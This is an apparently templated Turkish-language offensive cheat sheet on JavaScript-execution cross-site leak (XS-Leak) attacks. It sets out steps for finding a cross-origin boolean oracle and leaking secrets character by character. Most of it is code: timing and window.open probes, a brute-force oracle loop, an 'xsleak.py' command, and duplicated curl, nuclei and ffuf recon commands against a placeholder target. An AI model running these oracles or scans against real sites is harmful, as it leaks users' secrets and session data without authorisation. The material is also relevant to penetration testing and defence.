JavaScript Execution XS Leak

web offensive

JavaScript Execution XS Leak web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Çapraz origin boolean oracle adayını bul.

2. Timing/error/CSS/connection kanalını kalibre et.

3. Karakter karakter sızıntıyı otomatize et.

4. Sızan secret ile oturum etkisini bağla.

XS-Leak fikri

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;

<link rel=prerender href='https://TARGET/search?q=secret'>

JS execution XS-Leak

window.open('https://TARGET/page?x='+guess)

script hata/yüklenme farkı ile oracle

Oracle döngüsü

async function oracle(q){ /* timing/error/frame */ return bool }

for (const c of charset) if (await oracle(prefix+c)) prefix+=c

python3 xsleak.py --target https://TARGET/search --param q

Operasyon notları

JavaScript Execution XS Leak sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html